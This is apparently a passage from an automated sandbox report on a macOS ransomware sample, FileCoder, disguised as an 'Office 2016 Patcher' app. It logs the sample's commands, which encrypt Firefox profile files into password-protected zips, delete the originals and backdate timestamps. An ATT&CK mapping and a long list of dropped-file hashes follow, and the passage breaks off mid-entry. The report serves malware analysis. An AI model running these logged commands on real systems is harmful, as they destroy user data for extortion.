  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/saved-telemetry-pings.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/saved-telemetry-pings"
  2⤵
  PID:1252
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/saved-telemetry-pings"
  2⤵
  PID:1253
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/saved-telemetry-pings"
  2⤵
  PID:1253
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/saved-telemetry-pings/746e5680-70c8-4532-87b9-5de00bafdc59.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/saved-telemetry-pings/746e5680-70c8-4532-87b9-5de00bafdc59"
  2⤵
  PID:1254
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/saved-telemetry-pings/746e5680-70c8-4532-87b9-5de00bafdc59"
  2⤵
  PID:1255
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/saved-telemetry-pings/746e5680-70c8-4532-87b9-5de00bafdc59"
  2⤵
  PID:1255
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/saved-telemetry-pings/746e5680-70c8-4532-87b9-5de00bafdc59.crypt"
  2⤵
  PID:1256
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/bookmarkbackups.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/bookmarkbackups"
  2⤵
  PID:1257

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Initialization Scripts

T1037

T1037.002

Privilege Escalation

Boot or Logon Initialization Scripts

T1037

T1037.002

Defense Evasion

Hide Artifacts

T1564

Resource Forking

T1564.009

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/Users//run/.zsh_history

Filesize
906B

MD5
7dc1581354fdfd6bba31ef9f28647f0c

SHA1
150efb499be4c01aa371fd449f5964466ed76592

SHA256
34cb5323c0f959596ca747f1329c3025881e33f156aeffda7538d5b90ef24db7

SHA512
13bb324cd2cbc04ae6d54bd92aacff6998c7b9c2e59f105b86acf04fb5026725773e61f2754bcf336065513cb7dadf10b97804eafbe8aed640ad8f948c38cdc1

Download Submit
/Users//run/Library/Containers/com.apple.Safari/Data/Library/Safari/AutoFillQuirks.plist

Filesize
76KB

MD5
31fa1867a3208528f0cdc8116a0c0ea4

SHA1
a8ba2e5768ef4ae90bb1dbec954eae099096fd1e

SHA256
d18963bde9305aab0bc46490d62515650666cb9aa88d2e1890a1c5fb389aa8dc

SHA512
ca2b59663888ad674868428445021a4a5f5402cfc43b228b8b9e036e6c990cd54ebd20f49d26bb2d9de202c0253b18e09d0b47937db81864483b9873b9fe355d

Download Submit
/Users//run/Library/Containers/com.apple.Safari/Data/Library/Saved Application State/com.apple.Safari.savedState/data.data

Filesize
23KB

MD5
08201300647e3a9a9134a94076286154

SHA1
444f5267b262566064953ee7b22229802ed536fe

SHA256
3acccd432c623666b17562be7b0a4c97185d6134ebcdd06754bd34ec309b2f92

SHA512
a2d35c7d69c4082c8034d7099c6af2fa98db743dfca59b8d9e78035404989dba5dabad64ed4212d1a91bf146c8110bbfd0aaeab9de2c378e295a990b0f55d65d

Download Submit
/Users//run/Library/Safari/CloudHistoryRemoteConfiguration.plist

Filesize
1012B

MD5
0c29425555c7ff0ca114b1fd0dc39c50

SHA1
d7d808e8be92462f4c3ceba66734f0e9bb26acdd

SHA256
52826afeec974bb7bacb85bdc01dc4f23bf917d65e04773d7cad393f7866f3fd

SHA512
d9c8364a85f4b4a96caac1409f32f9d6b2f8ae19201e0abd2d449a3eedadd471e99e44bc92deb5d8fb60287da64a88e61b45f759e7b9a383a9bbe5f5fd242f95

Download Submit
/Users//run/Library/Safari/Downloads.plist

Filesize
2KB

MD5
274000377ea152efdbac8075f19d8072

SHA1
19b9200313c94b249641de87ad1dde86150f67f3

SHA256
5e4ada3669ab16cc935810a3746bd0056a8ed43a264fa99fe29b48b0f1441efb

SHA512
1f3da682f3d1fbe92116d411eb8e81a2657718bedda3cc9cf5940e3b3d818bdfa7cb1273c2f6b98e6a1503dc30c65deeafc144821b5d11a777efab43d7592b10

Download Submit
/Users//run/Library/Safari/KnownExtensions.plist

Filesize
2KB

MD5
99707b6e8b1daa434de2a176a458f85c

SHA1
96324f62483dd7ac8683d1850d694bb900eb3419

SHA256
f282d8a52bfdcd208792a47c074e59a1e16d627d53094e11fc73e595aec7ddad

SHA512
e8018018f91a5ce5c418f5c6445dc11a44b40aa6f619958d496b18507b3fe309415bf9ab293e9c7c0b3e4ba109213d0216d39c0304a7bc3cce301db0a729430c

Download Submit
/Users//run/Library/Safari/LastSession.plist

Filesize
85B

MD5
030dc7964c8bc308933ba27e5875cadc

SHA1
a7a9f3a1c10e8f7ff5a8a5af6e56713dc2abc2ab

SHA256
c8d209beda6ffb4097775869422437378395cfb4a78e983835cb5a761a690c76

SHA512
c8827eb8337794a078c882aa7d91f0d7f27fc6557fd180f05862bd8a30f4e70d2fde35c868847c7f426da4a6bb324217385fcc7106697da0923b9e6b3c2e9c65

Download Submit
/Users//run/Library/Safari/PerSiteZoomPreferences.plist

Filesize
111B

MD5
a52ea796c85c81502845c14bbf6a934c

SHA1
2188e8aa5c6f49df71545ae776286fb50398f2ec

SHA256
f2904d42e87c5b100913976c76e123252c8889996a561b5bff32aaf49e3b4b1d

SHA512
edd17ba654e59d5eeab2534bc93c9a065fbb177ecc490c3554a9c2a2341dc7c9f275cd3567e6e46e10f53caff86fcfe8e9240f431b19e91f9083fd7621ee595d

Download Submit
/Users//run/Library/Safari/RecentlyClosedTabs.plist

Filesize
1KB

MD5
781c0e5e876c067adf5fc857b7ed643c

SHA1
a29a6a1601d122fb80e02cef8e6bcb8513641b26

SHA256
779ddc441349a62e64af2a596e1e3cee9ab8cd84ea7de3c460e197b4e37aa45a

SHA512
31a628c85d6e3b05feb96529f4e6210b9804c8eb32348c88460ddfabbf776f40de9a01edb3702bd42ec2e54acc6c7fd10b3bf152f96e7c20cc31976ec38056c2

Download Submit
/Users//run/Library/Safari/SitesAllowedToAutoplay.plist

Filesize
2KB

MD5
dacac94d436213a1c4eccc4df982a030

SHA1
b63d06513494cd7c4602574194592fdf09cfc9b9

SHA256
82e602f4854b770bf7bd701d8cd8a4c2bd7cf1a600b8b5a90a0804d4b40c2371

SHA512
ce05f31e918aba5513cd587f7f26d9105cd6d564dc25c172a554a887b209abcda81928c016830995923d71d7190550d18e7d62ae70c5f57a239dd7cc48ce2e87

Download Submit
/Users//run/Library/Safari/Template Icons/CacheSettings.plist

Filesize
75B

MD5
be1622b61c025fd5124b52f166d2bda0

SHA1
09b1695369600fc87fa46b8f1894ada7b1671cd2

SHA256
e0e5f38a3d586bc7208b107a169cac8ff0aa511132ff8c0d143ee3ab5b098eb1

SHA512
1aa42ad9a2465a6d7856d529df0f6ec616a8c7131e51e2f7001a5c01bec47b880b762e9938fc84230887f552ec94b1408b0e1fadf9d887b6266451f733f46928

Download Submit
/Users//run/Library/Safari/TopSites.plist

Filesize
860B

MD5
3a8f0d64f113cdac7efcf5eaa0734073

SHA1
f9f18ca45ec7185be30c43c9c603f110d6631429

SHA256
4b30fbc43de1c4fe8d70a9c85502bd5f63d13d3764b587873fa2ffbbd327030e

SHA512
34524286d2857b1171c3eb32bbed201d87267ecad6d703393974f6b3070eacaaa58d540bda7ad82be78aa16db450c9d7ead2c82fef90cd5117fb7090d24caacb

Download Submit
/Users//run/Library/Saved Application State/NULL.prova.savedState/data.data

Filesize
1KB

MD5
e10a539c7647b74e1a9bd0b261e23726

SHA1
3bd31dded22cfae0aebd96447c7e607ab7e56272

SHA256
f9e68e60b7354220802722b20e6715e4f5518572a9e8663e372256d06841a184

SHA512
d51ce1da96ad9159885117369b72f8033b77ffbd01e2c0da670509dcf6cb32a592fc6dfe0195a69a63046f476d2922dde9eaef4459b1964a54c1b3ce3b3738d7

Download Submit
/Users//run/Library/Saved Application State/com.apple.Terminal.savedState/data.data

Filesize
81KB

MD5
c6d5351d7e21d2977a3107c4e29e5677

SHA1
c1ae20c8a144da1dc63ff15606301ddd6e645852

SHA256
b74037650ae60765652aa46083e5d9b0a983288f8de5885b390b0e60f6a1eb83

SHA512
9b26c70798384410221274dce99780fe9aa57020d51f55b69022422c77817800f01f011d82186a7cfb96ef69d7a86b22ecd55412568d71c5ad9c4dbb85a5f8e4

Download Submit
/Users/run/.zsh_history

Filesize
577B

MD5
085279ee20314d06d44a4441806e35e4

SHA1
8722289a4bdec3f47e92a589845295380bab7294

SHA256
101298c3fb9d9ed3b5f011264cb2d1855e316943d51c35bace2d871a888ec796

SHA512
65dd4aa7e579a61d87e65a821321b348389f9971d6363d9ea4d0b2a5cae487a58d2dd85c780eb4819ad7874f632a587d17091a2d84806b7a52d4ae3184b5a4ad

Download Submit
/Users/run/.zsh_history

Filesize
626B

MD5
a3192ac3de70114d0b0dfdf4c5ee5594

SHA1
1e9f0f9acbcdbc0fef37ca789ff5c9563a9159da

SHA256
85582b90639cd131333c6ef72302060205f6a9203919f38dd8fb7a7d4e23f169

SHA512
502d439fec118e41d7330396641f43c222f286b70acb733412d55ed2fd66d116d49a78c56f5be06fe44d7b7f5c865f51363d1362af858f1bc6e9860cc7cca8f9

Download Submit
/Users/run/.zsh_history

Filesize
787B

MD5
cc20174641cb2382b07db9637863ad62

SHA1
e06779177d5e8b57dc1591f361714e63c3c8a00b

SHA256
1db526440d907ec50278468f3677bdf103dfdd700d9f83428da7f86ac20582cd

SHA512
568bd06dc5b12d278bbcd48ab13c0ef09d84ebab7c3bd969456c68c74f342593a0a967d6ba0ca86c69f3acea4dbf297389346e919e438ded9a5ea74ccd8aaa6c

Download Submit
/Users/run/Downloads/FileCoder (FindZip, Patcher).zip

Filesize
2.2MB

MD5
b492b13048789f89ea81363042ba28b5

SHA1
4314fc4279c4b16bf136a2121f03ecd04f2ab4e5

SHA256
cf7e5fbe918eb7a61f307f4dcdb6beb7104c395716a6375706e3092d7c4a64a4

SHA512
100a63f75e1afeb8d93168c1289974ced9a060f0e382a9b68e691fbbde77a8248b9aba19fce9473ed5d1e379bef8881e25416f37597fe175615ff7325284f503

Download Submit
/Users/run/Downloads/FileCoder (FindZip, Patcher)/Office 2016 Patcher.app/Contents/Info.plist

Filesize
1KB

MD5
05ef3a7141f8a3f7ce65a5a6e5f0ba1f

SHA1
0ea50a94f1fe07f081ffdde77cfbe54a9ea99870

SHA256
acf175e797f074422af21ce048a9f6b235b40852ebe188d614c6e0bd2ff55d48

SHA512
f9d87a70f31b97ab2bdbf627cded732dfddd8f626e2d06e8d850d34c1c6a1b166086d24012f3f305db2cf5a8e9e7f773ea6bef504d58f16f560c75b3ccce6022

Download Submit
/Users/run/Downloads/FileCoder (FindZip, Patcher)/Office 2016 Patcher.app/Contents/MacOS/../Frameworks/libswiftAppKit.dylib

Filesize
103KB

MD5
670543a5f489a2c75ba06d6c29490718

SHA1
8fefca1f34031b4401024542fbccfb685b8a9e89

SHA256
aa78b2a8e968902309b2064079f8fbe55cca6d2beef7a3dcdbf715b6be86e49b

SHA512
c711cf5406e6fca5c705bf37703d04af6534856487bfb3b97092c8a24f2fd599dc931a07fef3f4ec1e83e04c7089ae0fed71a03c85a09e11c82539f7c65c6fce

Download Submit
/Users/run/Downloads/FileCoder (FindZip, Patcher)/Office 2016 Patcher.app/Contents/MacOS/../Frameworks/libswiftCore.dylib

Filesize
5.1MB

MD5
53de2f2d0c39bd2982ae514471271ceb

SHA1
2d6e409d8ac5c9d38a921eacf1621daa0d0fadca

SHA256
c74cd121724b3bf1baa16d03e05f2891a8510a6aafeaca7078c6160012d4c7ce

SHA512
c561f00f6c93c35203d62f284a3ad99354231775dc7b13e3e6fc30d4cb73cb2c2c950235c168775ec7a8c0194d3fbadf10b88302608d6a3cb9b89575ad6f5800

Download Submit
/Users/run/Downloads/FileCoder (FindZip, Patcher)/Office 2016 Patcher.app/Contents/MacOS/../Frameworks/libswiftCoreData.dylib

Filesize
100KB

MD5
413d381ce461b9378dd3f85c4da16e4f

SHA1
1cae3e3060ce8ca97f02008d2f9ead3e8d686835

SHA256
f5f852b747fe14e6c70446600b623c826a0067f3e533c7768e3b9f6b0630531a

SHA512
060388d2e458ed491f44293e56cb16c0f56672364ffabc843927a79d097ec5de08fd1ef260cb0f36b3629d4a3cc7bca7eda73cdfdf74f3f80fb416b1433bcc74

Download Submit
/Users/run/Downloads/FileCoder (FindZip, Patcher)/Office 2016 Patcher.app/Contents/MacOS/../Frameworks/libswiftCoreGraphics.dylib

Filesize
152KB

MD5
85a43fbee488a72bc156b1149ec0ba10

SHA1
5b1573a0ba472f8bc420fa301d2666fc5de46d02

SHA256
7526c00e90c0183e142f0e22a601a1d56e18ba8d78798d942731da2c5c775feb

SHA512
ec8c787f0e610c0f563f9bd1fc2028cbf9f73579e0a0d8eb8757b03fdc7c1f25fe83eb81bb67affd2536b313a21cfd7624a800cf23af66d57b15455a966f5035

Download Submit
/Users/run/Downloads/FileCoder (FindZip, Patcher)/Office 2016 Patcher.app/Contents/MacOS/../Frameworks/libswiftCoreImage.dylib

Filesize
34KB

MD5
746c13ad14b96dce0ed878aadbf69396

SHA1
f6387859e313d48b224a15200add163065785541

SHA256
b558cff34f77795bdcf961f27a49d505c2614d0e1f2ced9dd81268cfa8b94497

SHA512
c91c88eaccd52b309c470244b08c29fbde73db68656c18276c9fc8d90c4eab799727c7113c8aa2fe7d2ea7cd2f1c91ff85aacc56a74b4a12628cbba1b2aa0d66

Download Submit
/Users/run/Downloads/FileCoder (FindZip, Patcher)/Office 2016 Patcher.app/Contents/MacOS/../Frameworks/libswiftDarwin.dylib

Filesize
65KB

MD5
ab0363c58f19694f9cc7663cc0340671

SHA1
45771af7f1bdc7d311c098594f2f2dc8f5e19f02

SHA256
34eb1e1bd570320109b83c59b1007ba32783f7a687cb3e83e6a08bf79f7d32fe

SHA512
25317b1c730fa0499cd2ce1652688153bc24eb1778843083cb3b64910a636bcf5aa2e41b58711f9c7a713c9cfb01fb70dbe7fce8459efe3b7b2f562607ddcff4

Download Submit
/Users/run/Downloads/FileCoder (FindZip, Patcher)/Office 2016 Patcher.app/Contents/MacOS/../Frameworks/libswiftDispatch.dylib

Filesize
339KB

MD5
afaf69f773c0bf01ff139148a258dec5

SHA1
7cb397e08808c185fab6492677ae610f6699496e

SHA256
398d271a85b93050c9e4ced5130404130fefee8c9088828460a7459f4aae3936

SHA512
0bf7d069a48c0ebe9a65b9d20277d9cfa27a0e7eb97d4dbfa650ae6f1e542736603f02bb1ee129b46224558bd3566cee1dc2307c5123cd8df1fd1bc793814b6c

Download Submit
/Users/run/Downloads/FileCoder (FindZip, Patcher)/Office 2016 Patcher.app/Contents/MacOS/../Frameworks/libswiftFoundation.dylib

Filesize
1.9MB

MD5
7747941bd63ad916ef90caf0501d1715

SHA1
1cdc9e34a5c0cc0797e68df6afa07af4f3fbc9a9

SHA256
fde286480b766182566d760b1f7776a0c742c4787be2def239bf0c0cf2ab9798

SHA512
64c5bd4358ca83d32ef9b829fc8a2e50ff40da08c4bbc47d6d27adf38859b3ebaf095f43213a06333b6d3154a2c3222014d4fda28aff62e9bc3367e400a828a2

Download Submit
/Users/run/Downloads/FileCoder (FindZip, Patcher)/Office 2016 Patcher.app/Contents/MacOS/../Frameworks/libswiftIOKit.dylib

Filesize
34KB

MD5
a4c557bed4ed5004c87659f097d4ecdf

SHA1
6dfb22efc0872b006e73462a95abb30e5ebd3f13

SHA256
dfd7d9f26e409201f62a02b20b2e21197cbd581ecf214708f507f1bdd2c63362

SHA512
2bfc9a4acf9f00f9fab68be360993c0d22f4c7d640a84253fb5642fc46bdb41a17648b7b9b7936efbc753141b5849ded11d640b411e03400e820f1d7bbf2ef84

Download Submit
/Users/run/Downloads/FileCoder (FindZip, Patcher)/Office 2016 Patcher.app/Contents/MacOS/../Frameworks/libswiftObjectiveC.dylib

Filesize
56KB

MD5
508ed5eca03b37e552c898322d985c2a

SHA1
c56777c5fe41a3720da0afa5b1a893e4172f5783

SHA256
e2473a17a91c88370505ca1f4053e235ae869055a2adf9215bba9864c947bd9c

SHA512
361334c493b5a2e195943e0b734a605171746cb5f2ef5649b49ba3b95c38d041993fe7c73cb41b93269fe08496a1a9732ba5d7a220cf5471771118dbfe839daf

Download Submit
/Users/run/Downloads/FileCoder (FindZip, Patcher)/Office 2016 Patcher.app/Contents/MacOS/../Frameworks/libswiftQuartzCore.dylib

Filesize
47KB

MD5
a91bd9af07ecbb087e28922cca2fda3b

SHA1
9d9e8c5ef99c3bb82f570a98d201758c7e6bbb20

SHA256
3e6a3e04c55693a513c19e84fe1f44132141161d7a96b4baf245999a4de36d7d

SHA512
55391c87e6c8ad22a8d89060c2ea7dc281bf02ba27b08c50eafcaf768f1ae069a3913db8930b9fa8caad19c564a4650bc7a0c3aeac2e3508a9874385e4727039

Download Submit
/Users/run/Downloads/FileCoder (FindZip, Patcher)/Office 2016 Patcher.app/Contents/MacOS/../Frameworks/libswiftXPC.dylib

Filesize
35KB

MD5
8a65f84bab6615b82d04f687e5799f5f

SHA1
b273bf81bb5da925f1632b04fa0928d3ab495268

SHA256
64b4f3a686b69eddcb75cd198af5ca5dac2e08b775d291f9f01a5862fd27a971

SHA512
5196aff5494b069d5a493dc701bd34769cb9487cdb10114b0b9583c1137dbe6b24c7e988e536439bef6c38ebba6f7911fba814ba0086eea6189d95d6d4d450be

Download Submit
/Users/run/Downloads/FileCoder (FindZip, Patcher)/Office 2016 Patcher.app/Contents/MacOS/Office 2016 Patcher

Filesize
52KB

MD5
fc22fbe8dda4258a9f0ceb7e15a04fc2

SHA1
e55fe159e6e3a8459e9363401fcc864335fee321

SHA256
91af9a4c0091f8e97641660c66d414fa13ee69473f5692d2aecb1d1101ed34b8

SHA512
8fd91f54991f210ac6702ae682f969ff2a07ec65e10b637f0ca078cca626c4a43b2861ab154394c16802fc8dfefa03016de675dba98c6c4547b0b6f3b10b70c7

Download Submit
/Users/run/Downloads/FileCoder (FindZip, Patcher)/Office 2016 Patcher.app/Contents/PkgInfo

Filesize
8B

MD5
23b7d7d024abb0f558420e098800bf27

SHA1
9f9eea0cfe2d65f2c3d6b092e375b40782d08f31

SHA256
82502191c9484b04d685374f9879a0066069c49b8acae7a04b01d38d07e8eca0

SHA512
f77d501528dd0ced155c80406cfbee38d5d3649b64d2a9324f3d6cee39491eb8f54cdebae49c6e21a20d2309d8fae1b01c41631224811e73483db25a2695738c

Download Submit
/Users/run/Downloads/FileCoder (FindZip, Patcher)/Office 2016 Patcher.app/Contents/Resources/AppIcon.icns

Filesize
50KB

MD5
0bb89d5abb23091ca34e8b8677b197e4

SHA1
90badadb8ee2123b09a3d1329bb1419c190ec5bb

SHA256
fc8807cda4bca436a1dd92522978cd0fe21f51b7059c9e6452f800ba3ed658be

SHA512
5760b4c08d1fded26cb973613992508e4ebe8af7a988c306ba041141f3b106804ecdcde280549194f120c6c54f2c31bc0aacd54dc043664ac8dd388f72d2d929

Download Submit
/Users/run/Downloads/FileCoder (FindZip, Patcher)/Office 2016 Patcher.app/Contents/Resources/Base.lproj/MainMenu.nib

Filesize
38KB

MD5
e663a0035088123c900e27d5f4b949ab

SHA1
a8e9eb16370710c527b5ab9ce8d35e57a0bbfb1d

SHA256
930cf4e2aa5a92dd0579fe6b83f161a13985decddd3e946ae366bcbb4b5451fa

SHA512
68badba15fb4d9913daf5b68f13167f10eda594e293d5b60e8fcec9f060a0845d7639f4c0595391ee0314ac132d046c0bb6b5b34896f7d65099c0ea2975dc2f5

Download Submit
/Users/run/Downloads/FileCoder (FindZip, Patcher)/Office 2016 Patcher.app/Contents/_CodeSignature/CodeResources

Filesize
6KB

MD5
f728d3dd9209c5494cbe5ec707df4f4e

SHA1
18ae5f67a08fac7c48a08c042b835f6c36dd67f0

SHA256
3006c694c79dd44373d91f2ce12454966cec9a67344346d6f9334d807fed2d18

SHA512
051404d9feb185dd3db7f7fcc64ecac424756f0caa4a9ffebd0c37875ecff9f91fc114a0ec54da17b7e5e77b57098a06223365a3446ca6b65d96788f204935a5

Download Submit
/Users/run/Downloads/FileCoder.zip

Filesize
157KB

MD5
fd66d3226dcd2ef199def516b3b0b4b6

SHA1
22e8ec0468fa34e0781b13c205b4bca5cfb92917

SHA256
9c3f4ee8eba7b34bb92c3a7a8f2cf50382363eb645e86b5b9eda5e576ea5d951

SHA512
739eb8297f21bd6249596f4f6c5fdbc515da79ea5dc7865d549e0e7a7165d3d92a70046439d756c66459fc25b0ca0b5971b131102fce6254fea820a0b1c776e6

Download Submit
/Users/run/Downloads/FileCoder/FileCoder

Filesize
355KB

MD5
a4de8f25c75060b1a8cee817ec8e4e4a

SHA1
52b7efa7deeb2010665a7fc433a5ac33c4815875

SHA256
c9c7c7f1afa1d0760f63d895b8c9d5ab49821b2e4fe596b0c5ae94c308009e89

SHA512
5e29dbe0bb73400e45857c074429ca3a875065ad4938e222ff56052ed0cdec142aff15aba639a3713a393ce7baac26a6e648c21c87b9407ea6a8b9719316b501

Download Submit
/Users/run/Downloads/FileCoder/readme.txt

Filesize
204B

MD5
dbcabd02a3e0f09e7aaf574f7b57e938

SHA1
fb277382600bcf93da4af5a0320c605799cb0b27

SHA256
a177d923e2e9c4c9396f7516d6f104b2ad80769aaca75b92ecf1e08aed086506

SHA512
2357d2f04af563d588e5d756106d9947e2475d0049e5db7b88a343a4a4f4f5c91b200902d2e365743cd1c8ea4a987a68fca2215c30a6ae8b55d5be7914ab3508

Download Submit
/Users/run/Downloads/README!.txt

Filesize
1KB

MD5
c7432c5aa5ecd16c5e176a54b8a4a2fa

SHA1
32757607b758ab0f5e86412df048182c2ee6f377

SHA256
ccc5010a9b4504bbad63c6787750e6461614aa3a17fb379590780f335b7d99c8

SHA512
b12fb9dd40de08d16f3d493514d7014464f21cd86a8221fad47c983a073a656a65cf03994d6635776db741724d5d3ee0008dcb821228489da638f77cc137c551

Download Submit
/Users/run/Library/Caches/com.apple.systempreferences.imageCache

Filesize
294KB

MD5
9aa528903e05ba5abddc1da387d39685

SHA1
a5c5ae20b4fb83eee529f494bf37901e2f36fb24

SHA256
4101e7dde2c048c67357945a28c15889d255ca55b91548dacae73c7ec0e4083e

SHA512
b93175638b6e05d0dab51e43e9c2c19e26fc3fb3a0259b30ae496245e7f1792d294b7083edd5702fe5d4d253d5906e78b347c6a7a06629a5039ba07fe92470f4

Download Submit
/Users/run/Library/Keychains/metadata.keychain-db

Filesize
23KB

MD5
3b1e6ea85d66cec0b34ba7265d669a47

SHA1
1353d2f3c2793bc853831325056b50711da78158

SHA256
ca2f7774885501cb8e6acb518eaa206ee609cc19f6d9af379b01ee913bc8dd59

SHA512
28d67fc9c268c5f766f598453de62a702d65f4c0d9752a46697f41cb6528e48d5bc38fb94d1111e22298f83f1ab365a839c7eb36082c015e960b8a18f2caac4b

Download Submit
/Users/run/Library/Safari/Favicon Cache/favicons/0442956A8F8AF78717AF8E410DB22622

Filesize
5KB

MD5
022971e289b11f83803551a1eeeb967a

SHA1
de9a79ed3cce9839b547b04708a222082b659f41

SHA256
a9c750565723a5640d296dddffa258c7ef1008695c644f2c6e2df41088b8e252

SHA512
5951deb4d2da8d058572cb04f4e1450e8077297d0a7c156a1fbd7d414805e9164e2f94881bc64d1c8dc5674eb5cefb62f8e5c7ff695e068f6280bf4ef858ce04

Download Submit
/Users/run/Library/Saved Application State/com.apple.systempreferences.savedState/data.data

Filesize
1KB

MD5
173c64221ae03720a2a6b67f02bda34f

SHA1
e463868ac5428f993ab3ef6362a532fdecebb790

SHA256
d66d569c999f566fca29a97c8385a1bad078cdabba5a91f0cff4f120c31ccc98

SHA512
d3c8eebd72572cf7317163a63805c344b7e0cb8c538d417a9364c61bbf2834d6b43effafca6686feb73913660d1c98f3debc2a76cce0e661791df9e60ce00514

Download Submit
/private/var/db/spindump/tailspin-trace.2025-03-27_10-39-44.tailspin

Filesize
16.6MB

MD5
49eca4c0e41d315e884051dd9b6d0a7b

SHA1
2127532b73d830e5c357f7ac1822a0e42c9dc175

SHA256
fd0d91fcb721d2cd89d3094ebd0495f89b54be1ef7ab4bcae48dbd83d0e0bb40

SHA512
b38da7db26e032129f2edd9fd0ea579f60adbc78e39da3531e8b67b50c45ada5fe91fba49ded83ba9ff26c78df904cc0e6e26bdc913e5a1423e7200d32e0ecd3

Download Submit
/private/var/db/spindump/tailspin-trace.2025-03-27_10-39-53.tailspin

Filesize
15.8MB

MD5
d37f100b33c803fc521cad61e69b044f

SHA1
75b6853bed2f19294be906057449c7f91f9c2fff

SHA256
efa8904f64835ef2033e52eaf6e9a9e1d9ae2c17e6f3d7ecf105a3ac974b8352

SHA512
48859cdc7f6a13db1f5a0229df3bbe961141c6e72da444e4c83d1086f143a0c26f8f33ca1a49acc4b55e32aa0073585f2e79984f53542da59e905ca9ff844f0c

Download Submit
/private/var/db/spindump/tailspin-trace.2025-03-27_10-41-23.tailspin

Filesize
17.1MB

MD5
3f1ac4b274508d84e016bc97ec75ecb7

SHA1
9b0e12df7a55bb30f9b7cd3ca5fb8e62b80d8605

SHA256
1a82b1dcfe479f5ec77dd0165defcf032a28594113b33470daa449fd81cf6ab7

SHA512
9923c93af11fd06b3e680b694bf0e17374b21ce256b035d510196715fb92bfafaa2ee5a00ec422835f7ef5f44deea79d797b4cc6bb2bb57d7b14b1a75e7ba40d

Download Submit
/var/db/.LastGKReject

Filesize
181B

MD5
2de6a04cdba79ed13580c47dfd70cc5f

SHA1
bcefe0558555914d731c16b1778c49e77fe06b99

SHA256
97704a8960b4facceef54397a08fb5d0a456247c3627359215aa2a27df22656c

SHA512
605dc81b28c530fc8ebcf3c5a28486af8bbd3303ee5df53b5424e492e5dbe01baa0468fa4da1398451a62dff4d45067a2bf765f7def9ca0890883484de38a13b

Download Submit
/var/db/SystemPolicy-prefs.plist

Filesize
229B

MD5
5bf244778cea3f4cd7b21c8e489a2ebd

SHA1
556c389028c13b864f465417128d16e7f407b6a8

SHA256
3676e41c448ae9c489662f37fcffef6abd3dcdcc7d19d0c89ac4ed64645ef0e1

SHA512
959a668109acefd9f801f24a2de9732aa5abe41e542cc8c73d9ba294052b47a6e1854a4ff228ade9342f715f18469f17aaedec822695c3a34f07ebe3cdc3ff8b

Download Submit
/var/db/nsurlstoraged/dafsaData.bin

Filesize
54KB

MD5
64f469698e53d0c828b7f90acd306082

SHA1
bcc041b3849e1b0b4104ffeb46002207eeac54f3

SHA256
d74d0e429343f5e1b3e0b9437e048917c4343a30cff068739ea898bad8e37ffd

SHA512
a8334d1304f2fbd32cfd0ca35c289a45c450746cf3be57170cbbe87b723b1910c2e950a73c1fb82de9dc5ed623166d339a05fec3d78b861a9254dc2cb51fab5f

Download Submit
/var/db/spindump/UUIDToBinaryLocations

Filesize
85KB

MD5
d8bd1216eb92ce3a41e8b524a346fd4c

SHA1
f79475ee1d6c8a7c788339ab1eed0b1fa6540112

SHA256
cc34d7ab4f3f0014a34022e0ed7dfe746e7a0c94aee8e972f9536eb938ca1696

SHA512
33889097418f6b554015d6261d598d5ece00953d621f1c2a898b2f5f508e16fd80a175a5e61b785912dafbfdf69b049c41b9a470aed96acb2bea3ba19202cbe6

Download Submit
/var/db/sudo/ts/run

Filesize
80B

MD5
105576b24c8dd80bf2c2db8acff6605a

SHA1
0bf055e3f28e2684aaea0f8dde20e90bb0307f0c

SHA256
1cdcc3f05fa60764eb09ed827ea8ad77824d599a996b5a800f288c5d2b75b29a

SHA512
c25efd12033826667e07512550941d368ba897f3ed22a31e19eb2ab0393c274557823c49d387e5e1d7ca97c277283d881906d1ee8ccf466a8c4438d834916f12

Download Submit
/var/db/sudo/ts/run

Filesize
80B

MD5
362ac51d703a57b9f3f1777da6e9f14c

SHA1
5246c8a89cc3f0cc457ed0bb8883c5d99844bd54

SHA256
67c6c8044d95d02b134ac2a5c516d042f2ef2bdebdb1deace5265f055669d3b6

SHA512
015d6c554cc5d2f02c45399896d1aedd6fdf21558d75214fdf2dd742764594515cfdbdda0b7086c979741875ce5e258eabfa3e9d0a62cbe1594232ff72fb6846

Download Submit
/var/db/sudo/ts/run

Filesize
80B

MD5
c8e5b7455db3038acf699a37f161af9c

SHA1
5ab6fe52c4f4acd052d1babf8e91df295de7d318

SHA256
86ced21726e7ed82148bb8945bf4292aa8dd05df22c409231969beb16ad6cda3

SHA512
974958408653cec1f4de63b3320f9daf53bc5e5c279861cf0a6bc4572ef24d5b0c10438578656b8869532fcded0fa37e80876890f76a6c3556f5d647b811baab

Download Submit
/var/db/sudo/ts/run

Filesize
80B

MD5
451a368fb151e03d6bffe4e91e503ebb

SHA1
32f783c2463d10b15d6d92dce325ec554c1feedd

SHA256
52439b43d2a0226adbfcc473df3215ec01534d655eb4c12c6266d755a5bcb038

SHA512
898997c2c2e3ed68da16fa08a59faf6eb0440d82461af815d9362e5dfe80636ed1a73fb14df5507b18b480c6b1ab960b2fc6ee0b029529c817632d3aa6caf3c3

Download Submit
/var/db/sudo/ts/run

Filesize
80B

MD5
